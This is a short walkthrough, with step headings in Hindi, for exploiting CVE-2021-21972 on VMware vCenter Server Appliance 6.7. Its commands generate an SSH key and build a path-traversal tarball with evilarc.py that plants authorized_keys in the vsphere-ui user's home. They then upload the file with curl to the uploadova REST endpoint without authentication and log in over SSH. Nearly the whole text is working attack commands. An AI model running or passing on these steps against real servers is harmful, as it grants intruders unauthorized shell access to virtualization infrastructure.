CVE-2021-21972

CVE-2021-21972

VMware VCSA 6.7 पर परीक्षण किया गया

SSH कुंजी जोड़ी बनाएं

ssh-keygen -t rsa -f vcsa.key -N ''

../../../../../home/vsphere-ui/.ssh/authorized_keys के साथ tarball बनाएं

python2 evilarc.py -d 5 -p 'home/vsphere-ui/.ssh' -o unix -f evil.tar authorized_keys
mv evil.tar evil.ova

evil.ova को vropspluginui uploadova REST एंडपॉइंट पर अपलोड करें

curl -k -A "" --form "[email protected];type=text/plain" https://$VCSA_IP/ui/vropspluginui/rest/services/uploadova -H "Accept: application/json"

जोड़ी गई अधिकृत कुंजी के साथ VCSA पर SSH करें

ssh -i vcsa.key vsphere-ui@$VCSA_IP